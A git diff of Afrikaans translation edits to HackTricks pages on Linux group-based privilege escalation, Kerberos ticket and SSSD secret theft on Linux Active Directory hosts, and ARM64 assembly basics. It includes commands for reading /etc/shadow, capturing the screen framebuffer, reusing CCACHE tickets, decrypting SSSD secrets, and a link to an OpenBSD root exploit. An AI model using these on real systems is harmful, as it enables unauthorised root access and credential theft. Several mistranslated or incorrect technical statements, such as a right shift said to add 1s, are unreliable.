a/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md +++ b/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md @@ -26,12 +26,12 @@ Vind alle suid binĂȘre en kyk of daar die binĂȘre **Pkexec** is: ```bash find / -perm -4000 2>/dev/null ``` -As jy vind dat die binĂȘre **pkexec 'n SUID-binary is** en jy behoort tot **sudo** of **admin**, kan jy waarskynlik binĂȘre as sudo uitvoer met `pkexec`.\ +As jy vind dat die binĂȘre **pkexec 'n SUID-binary** is en jy behoort tot **sudo** of **admin**, kan jy waarskynlik binĂȘre uitvoer as sudo met behulp van `pkexec`.\ Dit is omdat dit tipies die groepe is binne die **polkit-beleid**. Hierdie beleid identifiseer basies watter groepe `pkexec` kan gebruik. Kontroleer dit met: ```bash cat /etc/polkit-1/localauthority.conf.d/* ``` -Daar sal jy vind watter groepe toegelaat is om **pkexec** uit te voer en **per standaard** verskyn die groepe **sudo** en **admin** in sommige Linux-distribusies. +Daar sal jy vind watter groepe toegelaat word om **pkexec** uit te voer en **per standaard** verskyn die groepe **sudo** en **admin** in sommige Linux-distribusies. Om **root te word kan jy uitvoer**: ```bash @@ -68,7 +68,7 @@ sudo su ``` ## Shadow Group -Gebruikers van die **groep shadow** kan **lees** die **/etc/shadow** lĂȘer: +Users from the **group shadow** can **read** the **/etc/shadow** file: ``` -rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow ``` @@ -130,7 +130,7 @@ $ /bin/bash -p ``` ## Disk Group -Hierdie voorreg is byna **gelyk aan worteltoegang** aangesien jy toegang tot al die data binne die masjien het. +Hierdie voorreg is byna **gelyk aan worteltoegang** aangesien jy toegang tot al die data binne die masjien kan verkry. Files:`/dev/sd[a-z][1-9]` ```bash @@ -156,24 +156,24 @@ USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT yossi tty1 22:16 5:13m 0.05s 0.04s -bash moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash ``` -Die **tty1** beteken dat die gebruiker **yossi fisies ingelogde** is op 'n terminal op die masjien. +Die **tty1** beteken dat die gebruiker **yossi fisies ingelog is** op 'n terminal op die masjien. Die **video groep** het toegang om die skermuitset te sien. Basies kan jy die skerms observeer. Om dit te doen, moet jy die **huidige beeld op die skerm** in rou data gryp en die resolusie wat die skerm gebruik, kry. Die skermdata kan gestoor word in `/dev/fb0` en jy kan die resolusie van hierdie skerm op `/sys/class/graphics/fb0/virtual_size` vind. ```bash cat /dev/fb0 > /tmp/screen.raw cat /sys/class/graphics/fb0/virtual_size ``` -Om die **rauwe beeld** te **open**, kan jy **GIMP** gebruik, die \*\*`screen.raw` \*\* lĂȘer te kies en as lĂȘertipe **Raw image data** te kies: +Om die **rauwe beeld** te **open**, kan jy **GIMP** gebruik, kies die **`screen.raw`** lĂȘer en kies as lĂȘertipe **Raw image data**: ![](<../../../images/image (463).png>) -Verander dan die Breedte en Hoogte na diegene wat op die skerm gebruik word en kyk na verskillende Beeldtipes (en kies die een wat die skerm beter wys): +Verander dan die Breedte en Hoogte na diegene wat op die skerm gebruik word en kyk na verskillende Beeldtipes (en kies die een wat die skerm beter vertoon): ![](<../../../images/image (317).png>) ## Root Groep -Dit lyk of **lede van die root groep** standaard toegang kan hĂȘ om **te wysig** sommige **diens** konfigurasielĂȘers of sommige **biblioteek** lĂȘers of **ander interessante dinge** wat gebruik kan word om voorregte te verhoog... +Dit lyk of **lede van die root groep** standaard toegang kan hĂȘ om sommige **diens** konfigurasielĂȘers of sommige **biblioteek** lĂȘers of **ander interessante dinge** wat gebruik kan word om voorregte te verhoog, te **wysig**... **Kontroleer watter lĂȘers root lede kan wysig**: ```bash @@ -199,7 +199,7 @@ Uiteindelik, as jy nie van enige van die voorstelle hou nie, of hulle werk om ee ../docker-security/ {{#endref}} -As jy skrywe toestemmings oor die docker socket het, lees [**hierdie pos oor hoe om voorregte te verhoog deur die docker socket te misbruik**](../index.html#writable-docker-socket)**.** +As jy skryfrechten oor die docker socket het, lees [**hierdie pos oor hoe om voorregte te verhoog deur die docker socket te misbruik**](../index.html#writable-docker-socket)**.** {{#ref}} https://github.com/KrustyHack/docker-privilege-escalation @@ -223,6 +223,6 @@ Daarom, as jy 'n gebruiker binne hierdie groep gecompromitteer het, moet jy besl ## Auth groep Binne OpenBSD kan die **auth** groep gewoonlik in die vouers _**/etc/skey**_ en _**/var/db/yubikey**_ skryf as hulle gebruik word.\ -Hierdie toestemmings kan misbruik word met die volgende eksploit om **voorregte** na root te verhoog: [https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot) +Hierdie toestemmings kan misbruik word met die volgende exploit om **voorregte** na root te verhoog: [https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/linux-active-directory.md b/src/linux-hardening/privilege-escalation/linux-active-directory.md index 4f3bde16d..58061aa9b 100644 --- a/src/linux-hardening/privilege-escalation/linux-active-directory.md +++ b/src/linux-hardening/privilege-escalation/linux-active-directory.md @@ -10,9 +10,9 @@ ### AD enumerasie vanaf linux -As jy toegang het oor 'n AD in linux (of bash in Windows) kan jy probeer [https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn) om die AD te enumerate. +As jy toegang het tot 'n AD in linux (of bash in Windows) kan jy probeer [https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn) om die AD te enumerate. -Jy kan ook die volgende bladsy nagaan om te leer **ander maniere om AD vanaf linux te enumerate**: +Jy kan ook die volgende bladsy nagaan om **ander maniere te leer om AD vanaf linux te enumerate**: {{#ref}} ../../network-services-pentesting/pentesting-ldap.md @@ -30,7 +30,7 @@ FreeIPA is 'n oopbron **alternatief** vir Microsoft Windows **Active Directory** ### Pass The Ticket -Op hierdie bladsy gaan jy verskillende plekke vind waar jy **kerberos kaartjies binne 'n linux gasheer kan vind**, op die volgende bladsy kan jy leer hoe om hierdie CCache kaartjie formate na Kirbi (die formaat wat jy in Windows moet gebruik) te transformeer en ook hoe om 'n PTT aanval uit te voer: +Op hierdie bladsy gaan jy verskillende plekke vind waar jy **kerberos kaartjies binne 'n linux gasheer kan vind**, op die volgende bladsy kan jy leer hoe om hierdie CCache kaartjie formate na Kirbi te transformeer (die formaat wat jy in Windows moet gebruik) en ook hoe om 'n PTT aanval uit te voer: {{#ref}} ../../windows-hardening/active-directory-methodology/pass-the-ticket.md @@ -38,7 +38,7 @@ Op hierdie bladsy gaan jy verskillende plekke vind waar jy **kerberos kaartjies ### CCACHE kaartjie hergebruik vanaf /tmp -CCACHE lĂȘers is binĂȘre formate vir **storing Kerberos geloofsbriewe** wat tipies met 600 toestemmings in `/tmp` gestoor word. Hierdie lĂȘers kan geĂŻdentifiseer word deur hul **naamformaat, `krb5cc_%{uid}`,** wat ooreenstem met die gebruiker se UID. Vir verifikasie van die verifikasieticket, moet die **omgewing veranderlike `KRB5CCNAME`** op die pad van die gewenste kaartjie lĂȘer gestel word, wat hergebruik moontlik maak. +CCACHE lĂȘers is binĂȘre formate vir **storing van Kerberos geloofsbriewe** wat tipies met 600 toestemmings in `/tmp` gestoor word. Hierdie lĂȘers kan geĂŻdentifiseer word deur hul **naamformaat, `krb5cc_%{uid}`,** wat ooreenstem met die gebruiker se UID. Vir verifikasie van die verifikasieticket, moet die **omgewing veranderlike `KRB5CCNAME`** op die pad van die gewenste kaartjie lĂȘer gestel word, wat hergebruik daarvan moontlik maak. Lys die huidige kaartjie wat vir verifikasie gebruik word met `env | grep KRB5CCNAME`. Die formaat is draagbaar en die kaartjie kan **hergebruik word deur die omgewing veranderlike** met `export KRB5CCNAME=/tmp/ticket.ccache` te stel. Kerberos kaartjie naamformaat is `krb5cc_%{uid}` waar uid die gebruiker se UID is. ```bash @@ -66,12 +66,12 @@ Hierdie prosedure sal probeer om in verskeie sessies in te spuit, wat sukses aan SSSD hou 'n kopie van die databasis by die pad `/var/lib/sss/secrets/secrets.ldb`. Die ooreenstemmende sleutel word as 'n verborge lĂȘer by die pad `/var/lib/sss/secrets/.secrets.mkey` gestoor. Standaard is die sleutel slegs leesbaar as jy **root** regte het. -Die aanroep van \*\*`SSSDKCMExtractor` \*\* met die --database en --key parameters sal die databasis ontleed en **die geheime ontcijfer**. +Die aanroep van **`SSSDKCMExtractor`** met die --database en --key parameters sal die databasis ontleed en **die geheime ontcijfer**. ```bash git clone https://github.com/fireeye/SSSDKCMExtractor python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey ``` -Die **credential cache Kerberos blob kan omskep word in 'n bruikbare Kerberos CCache** lĂȘer wat aan Mimikatz/Rubeus oorgedra kan word. +Die **akkrediteringskas Kerberos blob kan omskep word in 'n bruikbare Kerberos CCache** lĂȘer wat aan Mimikatz/Rubeus oorgedra kan word. ### CCACHE kaartjie hergebruik vanaf keytab ```bash @@ -83,7 +83,7 @@ klist -k /etc/krb5.keytab Diensrekening sleutels, wat noodsaaklik is vir dienste wat met wortelprivileges werk, word veilig gestoor in **`/etc/krb5.keytab`** lĂȘers. Hierdie sleutels, soortgelyk aan wagwoorde vir dienste, vereis streng vertroulikheid. -Om die inhoud van die keytab-lĂȘer te ondersoek, kan **`klist`** gebruik word. Die hulpmiddel is ontwerp om sleuteldetails te vertoon, insluitend die **NT Hash** vir gebruikersverifikasie, veral wanneer die sleuteltipe as 23 geĂŻdentifiseer word. +Om die inhoud van die keytab-lĂȘer te inspekteer, kan **`klist`** gebruik word. Die hulpmiddel is ontwerp om sleuteldetails te vertoon, insluitend die **NT Hash** vir gebruikersverifikasie, veral wanneer die sleuteltipe as 23 geĂŻdentifiseer word. ```bash klist.exe -t -K -e -k FILE:C:/Path/to/your/krb5.keytab # Output includes service principal details and the NT Hash diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md index 89dfc48b3..b86b5d9fd 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md @@ -4,57 +4,57 @@ ## **Uitsondering Niveaus - EL (ARM64v8)** -In ARMv8 argitektuur definieer uitvoeringsniveaus, bekend as Uitsondering Niveaus (ELs), die voorregtevlak en vermoĂ«ns van die uitvoeringsomgewing. Daar is vier uitsondering niveaus, wat wissel van EL0 tot EL3, elk met 'n ander doel: +In die ARMv8-argitektuur definieer uitvoeringsniveaus, bekend as Uitsondering Niveaus (ELs), die voorregte en vermoĂ«ns van die uitvoeringsomgewing. Daar is vier uitsondering niveaus, wat wissel van EL0 tot EL3, elk met 'n ander doel: 1. **EL0 - Gebruikersmodus**: -- Dit is die minste voorregtevlak en word gebruik om gewone toepassingskode uit te voer. +- Dit is die minste bevoorregte vlak en word gebruik om gewone toepassingskode uit te voer. - Toepassings wat op EL0 loop, is van mekaar en van die stelselsagteware geĂŻsoleer, wat sekuriteit en stabiliteit verbeter. 2. **EL1 - Bedryfstelsel Kernel Modus**: - Meeste bedryfstelsel-kernels loop op hierdie vlak. -- EL1 het meer voorregte as EL0 en kan toegang tot stelselhulpbronne hĂȘ, maar met sekere beperkings om stelselintegriteit te verseker. +- EL1 het meer voorregte as EL0 en kan toegang tot stelselhulpbronne verkry, maar met sekere beperkings om stelselintegriteit te verseker. 3. **EL2 - Hypervisor Modus**: - Hierdie vlak word gebruik vir virtualisering. 'n Hypervisor wat op EL2 loop, kan verskeie bedryfstelsels bestuur (elke in sy eie EL1) wat op dieselfde fisiese hardeware loop. -- EL2 bied kenmerke vir isolasie en beheer van die gevirtualiseerde omgewings. +- EL2 bied funksies vir isolasie en beheer van die gevirtualiseerde omgewings. 4. **EL3 - Veilige Monitor Modus**: -- Dit is die mees voorregtevlak en word dikwels gebruik vir veilige opstart en vertroude uitvoeringsomgewings. -- EL3 kan toegang en kontrole tussen veilige en nie-veilige toestande bestuur (soos veilige opstart, vertroude OS, ens.). +- Dit is die mees bevoorregte vlak en word dikwels gebruik vir veilige opstart en vertroude uitvoeringsomgewings. +- EL3 kan toegang en beheer tussen veilige en nie-veilige toestande bestuur (soos veilige opstart, vertroude OS, ens.). -Die gebruik van hierdie vlakke stel 'n gestruktureerde en veilige manier in om verskillende aspekte van die stelsel te bestuur, van gebruikersaansoeke tot die mees voorregte stelselsagteware. ARMv8 se benadering tot voorregtevlakke help om verskillende stelselskomponente effektief te isoleer, wat die sekuriteit en robuustheid van die stelsel verbeter. +Die gebruik van hierdie vlakke stel 'n gestruktureerde en veilige manier in om verskillende aspekte van die stelsel te bestuur, van gebruikersaansoeke tot die mees bevoorregte stelselsagteware. ARMv8 se benadering tot voorregte help om verskillende stelselskomponente effektief te isoleer, wat die sekuriteit en robuustheid van die stelsel verbeter. ## **Registers (ARM64v8)** -ARM64 het **31 algemene registers**, gemerk `x0` tot `x30`. Elke kan 'n **64-bit** (8-byte) waarde stoor. Vir operasies wat slegs 32-bit waardes vereis, kan dieselfde registers in 'n 32-bit modus met die name w0 tot w30 aangespreek word. +ARM64 het **31 algemene registers**, gemerk `x0` tot `x30`. Elke kan 'n **64-bit** (8-byte) waarde stoor. Vir operasies wat slegs 32-bit waardes vereis, kan dieselfde registers in 'n 32-bit modus met die name w0 tot w30 benader word. -1. **`x0`** tot **`x7`** - Hierdie word tipies as skrapregisters en vir die oordrag van parameters na subroutines gebruik. +1. **`x0`** tot **`x7`** - Hierdie word tipies as skrapregisters en vir die oordrag van parameters na subrutines gebruik. - **`x0`** dra ook die terugdata van 'n funksie -2. **`x8`** - In die Linux-kernel, word `x8` as die stelselaanroepnommer vir die `svc` instruksie gebruik. **In macOS is dit x16 wat gebruik word!** +2. **`x8`** - In die Linux-kernel word `x8` as die stelselaanroepnommer vir die `svc` instruksie gebruik. **In macOS is dit x16 wat gebruik word!** 3. **`x9`** tot **`x15`** - Meer tydelike registers, dikwels gebruik vir plaaslike veranderlikes. 4. **`x16`** en **`x17`** - **Intra-prosedurele Oproep Registers**. Tydelike registers vir onmiddellike waardes. Hulle word ook gebruik vir indirekte funksie-oproepe en PLT (Prosedure Koppeling Tabel) stubs. - **`x16`** word as die **stelselaanroepnommer** vir die **`svc`** instruksie in **macOS** gebruik. 5. **`x18`** - **Platform register**. Dit kan as 'n algemene register gebruik word, maar op sommige platforms is hierdie register gereserveer vir platform-spesifieke gebruike: Punter na die huidige draad-omgewing blok in Windows, of om na die huidige **uitvoerende taakstruktuur in die linux kernel** te verwys. -6. **`x19`** tot **`x28`** - Hierdie is belde-bewaar registers. 'n Funksie moet hierdie registers se waardes vir sy oproeper behou, so hulle word in die stapel gestoor en herwin voordat hulle terug na die oproeper gaan. +6. **`x19`** tot **`x28`** - Hierdie is kalteer-bewaar registers. 'n Funksie moet hierdie registers se waardes vir sy oproeper behou, so hulle word in die stapel gestoor en herwin voordat hulle terug na die oproeper gaan. 7. **`x29`** - **Raamwyser** om die stapelraam te volg. Wanneer 'n nuwe stapelraam geskep word omdat 'n funksie opgeroep word, word die **`x29`** register **in die stapel gestoor** en die **nuwe** raamwyser adres is (**`sp`** adres) **in hierdie register gestoor**. -- Hierdie register kan ook as 'n **algemene register** gebruik word alhoewel dit gewoonlik as 'n verwysing na **lokale veranderlikes** gebruik word. +- Hierdie register kan ook as 'n **algemene register** gebruik word, alhoewel dit gewoonlik as 'n verwysing na **lokale veranderlikes** gebruik word. 8. **`x30`** of **`lr`**- **Koppeling register**. Dit hou die **terugadres** wanneer 'n `BL` (Branch with Link) of `BLR` (Branch with Link to Register) instruksie uitgevoer word deur die **`pc`** waarde in hierdie register te stoor. - Dit kan ook soos enige ander register gebruik word. - As die huidige funksie 'n nuwe funksie gaan oproep en dus `lr` gaan oorskryf, sal dit dit aan die begin in die stapel stoor, dit is die epiloog (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Stoor `fp` en `lr`, genereer ruimte en kry nuwe `fp`) en dit aan die einde herwin, dit is die proloog (`ldp x29, x30, [sp], #48; ret` -> Herwin `fp` en `lr` en keer terug). 9. **`sp`** - **Stapelwyser**, gebruik om die bokant van die stapel te volg. - die **`sp`** waarde moet altyd ten minste 'n **quadword** **uitlijning** of 'n uitlijningsfout mag voorkom. -10. **`pc`** - **Program teller**, wat na die volgende instruksie wys. Hierdie register kan slegs opgedateer word deur uitsondering generasies, uitsondering terugkeerde, en takke. Die enigste gewone instruksies wat hierdie register kan lees, is tak met koppeling instruksies (BL, BLR) om die **`pc`** adres in **`lr`** (Koppeling Register) te stoor. -11. **`xzr`** - **Nul register**. Ook genoem **`wzr`** in sy **32**-bit registervorm. Kan gebruik word om die nulwaarde maklik te kry (gewone operasie) of om vergelykings uit te voer met **`subs`** soos **`subs XZR, Xn, #10`** wat die resulterende data nĂȘrens stoor (in **`xzr`**). +10. **`pc`** - **Program teller**, wat na die volgende instruksie wys. Hierdie register kan slegs deur uitsondering generasies, uitsondering terugkeerde, en takke opgedateer word. Die enigste gewone instruksies wat hierdie register kan lees, is tak met koppeling instruksies (BL, BLR) om die **`pc`** adres in **`lr`** (Koppeling Register) te stoor. +11. **`xzr`** - **Nul register**. Ook genoem **`wzr`** in sy **32**-bit registervorm. Kan gebruik word om die nulwaarde maklik te kry (gewone operasie) of om vergelykings te doen met **`subs`** soos **`subs XZR, Xn, #10`** wat die resulterende data nĂȘrens stoor (in **`xzr`**). Die **`Wn`** registers is die **32bit** weergawe van die **`Xn`** register. -### SIMD en Vlotpunt Registers +### SIMD en Vervaardigingsregisters -Boonop is daar nog **32 registers van 128bit lengte** wat in geoptimaliseerde enkele instruksie meervoudige data (SIMD) operasies en vir die uitvoering van vlotpunt aritmetiek gebruik kan word. Hierdie word die Vn registers genoem alhoewel hulle ook in **64**-bit, **32**-bit, **16**-bit en **8**-bit kan werk en dan word hulle **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** en **`Bn`** genoem. +Boonop is daar nog **32 registers van 128bit lengte** wat in geoptimaliseerde enkele instruksie meervoudige data (SIMD) operasies en vir die uitvoering van drijvende-komma rekenkunde gebruik kan word. Hierdie word die Vn registers genoem alhoewel hulle ook in **64**-bit, **32**-bit, **16**-bit en **8**-bit kan werk en dan word hulle **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** en **`Bn`** genoem. -### Stelsels Registers +### Stelselsregisters -**Daar is honderde stelsels registers**, ook bekend as spesiale doeleindes registers (SPRs), wat gebruik word vir **monitering** en **beheer** van **verwerkers** gedrag.\ +**Daar is honderde stelselsregisters**, ook bekend as spesiale doeleindregisters (SPRs), wat gebruik word vir **monitering** en **beheer** van **verwerkers** gedrag.\ Hulle kan slegs gelees of gestel word met die toegewyde spesiale instruksie **`mrs`** en **`msr`**. -Die spesiale registers **`TPIDR_EL0`** en **`TPIDDR_EL0`** word algemeen gevind wanneer omgekeerde ingenieurswese gedoen word. Die `EL0` agtervoegsel dui die **minimale uitsondering** aan waaruit die register aangespreek kan word (in hierdie geval is EL0 die gewone uitsondering (voorreg) vlak waaroor gewone programme loop).\ +Die spesiale registers **`TPIDR_EL0`** en **`TPIDDR_EL0`** word algemeen aangetref wanneer omgekeerde ingenieurswese gedoen word. Die `EL0` agtervoegsel dui die **minimale uitsondering** aan waaruit die register benader kan word (in hierdie geval is EL0 die gewone uitsondering (privilege) vlak waaroor gewone programme loop).\ Hulle word dikwels gebruik om die **basisadres van die draad-lokale berging** geheue streek te stoor. Gewoonlik is die eerste een leesbaar en skryfbaar vir programme wat in EL0 loop, maar die tweede kan van EL0 gelees en van EL1 (soos kernel) geskryf word. - `mrs x0, TPIDR_EL0 ; Lees TPIDR_EL0 in x0` @@ -70,29 +70,29 @@ Hierdie is die toeganklike velde: - Die **`N`**, **`Z`**, **`C`** en **`V`** toestand vlae: - **`N`** beteken die operasie het 'n negatiewe resultaat opgelewer - **`Z`** beteken die operasie het nul opgelewer -- **`C`** beteken die operasie het 'n dra oor -- **`V`** beteken die operasie het 'n onderteken oorgang opgelewer: +- **`C`** beteken die operasie het 'n dra gelewer +- **`V`** beteken die operasie het 'n onderteken oorloop opgelewer: - Die som van twee positiewe getalle lewer 'n negatiewe resultaat. - Die som van twee negatiewe getalle lewer 'n positiewe resultaat. - In aftrekking, wanneer 'n groot negatiewe getal van 'n kleiner positiewe getal (of omgekeerd) afgetrek word, en die resultaat nie binne die reeks van die gegewe bitgrootte verteenwoordig kan word nie. -- Dit is duidelik dat die verwerker nie weet of die operasie onderteken is of nie, so dit sal C en V in die operasies nagaan en aandui of 'n dra plaasgevind het in die geval dit onderteken of nie-onderteken was. +- Dit is duidelik dat die verwerker nie weet of die operasie onderteken is of nie, so dit sal C en V in die operasies nagaan en aandui of 'n dra plaasgevind het in die geval dit onderteken of nie. > [!WARNING] > Nie al die instruksies werk hierdie vlae op nie. Sommige soos **`CMP`** of **`TST`** doen, en ander wat 'n s agtervoegsel het soos **`ADDS`** doen dit ook. - Die huidige **register breedte (`nRW`) vlag**: As die vlag die waarde 0 hou, sal die program in die AArch64 uitvoeringsstaat loop sodra dit hervat word. - Die huidige **Uitsondering Vlak** (**`EL`**): 'n Gewone program wat in EL0 loop, sal die waarde 0 hĂȘ -- Die **enkele stap** vlag (**`SS`**): Gebruik deur debuggers om enkelstap deur die SS vlag op 1 in **`SPSR_ELx`** deur 'n uitsondering te stel. Die program sal 'n stap uitvoer en 'n enkele stap uitsondering uitreik. -- Die **onwettige uitsondering** toestand vlag (**`IL`**): Dit word gebruik om aan te dui wanneer 'n voorregte sagteware 'n ongeldige uitsondering vlak oordrag uitvoer, hierdie vlag word op 1 gestel en die verwerker aktiveer 'n onwettige toestand uitsondering. -- Die **`DAIF`** vlae: Hierdie vlae stel 'n voorregte program in staat om selektief sekere eksterne uitsonderings te masker. -- As **`A`** 1 is, beteken dit **asynchrone afbrake** sal geaktiveer word. Die **`I`** stel in om te reageer op eksterne hardeware **Interrupts Requests** (IRQs). en die F is verwant aan **Fast Interrupt Requests** (FIRs). -- Die **stapelwyser seleksie** vlae (**`SPS`**): Voorregte programme wat in EL1 en hoĂ«r loop, kan tussen die gebruik van hul eie stapelwyser register en die gebruikersmodel een (bv. tussen `SP_EL1` en `EL0`) wissel. Hierdie skakeling word uitgevoer deur na die **`SPSel`** spesiale register te skryf. Dit kan nie van EL0 gedoen word nie. +- Die **enkele stap** vlag (**`SS`**): Gebruik deur debuggers om enkelstap deur die SS-vlag op 1 in **`SPSR_ELx`** deur 'n uitsondering te stel. Die program sal 'n stap uitvoer en 'n enkele stap uitsondering uitreik. +- Die **onwettige uitsondering** toestand vlag (**`IL`**): Dit word gebruik om aan te dui wanneer 'n bevoorregte sagteware 'n ongeldige uitsondering vlak oordrag uitvoer, hierdie vlag word op 1 gestel en die verwerker aktiveer 'n onwettige toestand uitsondering. +- Die **`DAIF`** vlae: Hierdie vlae stel 'n bevoorregte program in staat om sekere eksterne uitsonderings selektief te masker. +- As **`A`** 1 is, beteken dit **asynchrone abortus** sal geaktiveer word. Die **`I`** stel in om te reageer op eksterne hardeware **Interrupts Requests** (IRQs). en die F is verwant aan **Fast Interrupt Requests** (FIRs). +- Die **stapelwyser seleksie** vlae (**`SPS`**): Bevoorregte programme wat in EL1 en hoĂ«r loop, kan tussen die gebruik van hul eie stapelwyser register en die gebruikersmodel een (bv. tussen `SP_EL1` en `EL0`) wissel. Hierdie wisseling word uitgevoer deur na die **`SPSel`** spesiale register te skryf. Dit kan nie van EL0 gedoen word nie. ## **Oproep Konvensie (ARM64v8)** -Die ARM64 oproep konvensie spesifiseer dat die **eerste agt parameters** na 'n funksie in registers **`x0` tot `x7`** oorgedra word. **Addisionele** parameters word op die **stapel** oorgedra. Die **terug** waarde word in register **`x0`** teruggegee, of in **`x1`** as dit ook **128 bits lank** is. Die **`x19`** tot **`x30`** en **`sp`** registers moet **behou** word oor funksie-oproepe. +Die ARM64 oproep konvensie spesifiseer dat die **eerste agt parameters** aan 'n funksie in registers **`x0` tot `x7`** oorgedra word. **Addisionele** parameters word op die **stapel** oorgedra. Die **terug** waarde word in register **`x0`** teruggegee, of in **`x1`** ook **as dit 128 bits lank is**. Die **`x19`** tot **`x30`** en **`sp`** registers moet **behou** word oor funksie-oproepe. -Wanneer 'n funksie in assembly gelees word, soek na die **funksie proloog en epiloog**. Die **proloog** behels gewoonlik **die stoor van die raamwyser (`x29`)**, **opstelling** van 'n **nuwe raamwyser**, en **toewysing van stapelruimte**. Die **epiloog** behels gewoonlik **die herstel van die gestoor raamwyser** en **terugkeer** van die funksie. +Wanneer jy 'n funksie in assembly lees, soek die **funksie proloog en epiloog**. Die **proloog** behels gewoonlik **die stoor van die raamwyser (`x29`)**, **opstelling** van 'n **nuwe raamwyser**, en **toewysing van stapelruimte**. Die **epiloog** behels gewoonlik **die herstel van die gestoor raamwyser** en **terugkeer** van die funksie. ### Oproep Konvensie in Swift @@ -108,14 +108,14 @@ ARM64 instruksies het oor die algemeen die **formaat `opcode dst, src1, src2`**, - Voorbeeld: `ldr x0, [x1]` — Dit laai 'n waarde van die geheue ligging wat deur `x1` aangedui word in `x0`. - **Offset modus**: 'n offset wat die oorspronklike punter beĂŻnvloed, word aangedui, byvoorbeeld: - `ldr x2, [x1, #8]`, dit sal die waarde van x1 + 8 in x2 laai -- `ldr x2, [x0, x1, lsl #2]`, dit sal 'n objek van die array x0 laai, vanaf die posisie x1 (indeks) \* 4 +- `ldr x2, [x0, x1, lsl #2]`, dit sal 'n objek van die reeks x0 in x2 laai, vanaf die posisie x1 (indeks) \* 4 - **Pre-geĂŻndekseerde modus**: Dit sal berekeninge op die oorspronklike toepas, die resultaat kry en ook die nuwe oorspronklike in die oorspronklike stoor. -- `ldr x2, [x1, #8]!`, dit sal `x1 + 8` in `x2` laai en die resultaat van `x1 + 8` in x1 stoor +- `ldr x2, [x1, #8]!`, dit sal `x1 + 8` in `x2` laai en in x1 die resultaat van `x1 + 8` stoor - `str lr, [sp, #-4]!`, Stoor die koppeling register in sp en werk die register sp op -- **Post-geĂŻndekseerde modus**: Dit is soos die vorige een, maar die geheue adres word aangespreek en dan word die offset bereken en gestoor. +- **Post-geĂŻndekseerde modus**: Dit is soos die vorige een, maar die geheue adres word toegang verkry en dan word die offset bereken en gestoor. - `ldr x0, [x1], #8`, laai `x1` in `x0` en werk x1 op met `x1 + 8` - **PC-relatiewe adressering**: In hierdie geval word die adres om te laai relatief tot die PC register bereken -- `ldr x1, =_start`, Dit sal die adres waar die `_start` simbool begin in x1 laai relatief tot die huidige PC. +- `ldr x1, =_start`, Dit sal die adres waar die `_start` simbool begin in x1 laai, verwant aan die huidige PC. - **`str`**: **Stoor** 'n waarde van 'n **register** in **geheue**. - Voorbeeld: `str x0, [x1]` — Dit stoor die waarde in `x0` in die geheue ligging wat deur `x1` aangedui word. - **`ldp`**: **Laai Paar Registers**. Hierdie instruksie **laai twee registers** van **aaneengeskakelde geheue** liggings. Die geheue adres word tipies gevorm deur 'n offset by die waarde in 'n ander register te voeg. @@ -130,7 +130,7 @@ ARM64 instruksies het oor die algemeen die **formaat `opcode dst, src1, src2`**, - Xn3 | #imm -> Operando 2 (register of onmiddellik) - \[shift #N | RRX] -> Voer 'n skuif uit of bel RRX - Voorbeeld: `add x0, x1, x2` — Dit voeg die waardes in `x1` en `x2` saam en stoor die resultaat in `x0`. -- `add x5, x5, #1, lsl #12` — Dit is gelyk aan 4096 (1 wat 12 keer geskuif word) -> 1 0000 0000 0000 0000 +- `add x5, x5, #1, lsl #12` — Dit is gelyk aan 4096 (1 wat 12 keer geskuif is) -> 1 0000 0000 0000 0000 - **`adds`** Dit voer 'n `add` uit en werk die vlae op - **`sub`**: **Trek** die waardes van twee registers af en stoor die resultaat in 'n register. - Kontroleer **`add`** **sintaksis**. @@ -141,30 +141,30 @@ ARM64 instruksies het oor die algemeen die **formaat `opcode dst, src1, src2`**, - **`div`**: **Deel** die waarde van een register deur 'n ander en stoor die resultaat in 'n register. - Voorbeeld: `div x0, x1, x2` — Dit deel die waarde in `x1` deur `x2` en stoor die resultaat in `x0`. - **`lsl`**, **`lsr`**, **`asr`**, **`ror`, `rrx`**: -- **Logiese skuif links**: Voeg 0s van die einde by en skuif die ander bits vorentoe (vermenigvuldig met n-keer 2) -- **Logiese skuif regs**: Voeg 1s aan die begin by en skuif die ander bits agtertoe (deel deur n-keer 2 in nie-onderteken) -- **Aritmetiese skuif regs**: Soos **`lsr`**, maar in plaas van 0s by te voeg, as die mees betekenisvolle bit 'n 1 is, **word 1s bygevoeg** (deel deur n-keer 2 in onderteken) +- **Logiese skuif links**: Voeg 0s van die einde by en skuif die ander bits vorentoe (vermenigvuldig deur n-keer 2) +- **Logiese skuif regs**: Voeg 1s aan die begin by en skuif die ander bits agtertoe (deel deur n-keer 2 in ongetekende) +- **Arithmetiese skuif regs**: Soos **`lsr`**, maar in plaas van 0s by te voeg, as die mees betekenisvolle bit 'n 1 is, **word 1s bygevoeg** (deel deur n-keer 2 in getekende) - **Draai regs**: Soos **`lsr`** maar wat ook al van die regterkant verwyder word, word aan die linkerkant bygevoeg - **Draai Regs met Uitbreiding**: Soos **`ror`**, maar met die dra vlag as die "mees betekenisvolle bit". So die dra vlag word na die bit 31 verskuif en die verwyderde bit na die dra vlag. -- **`bfm`**: **Bit Veld 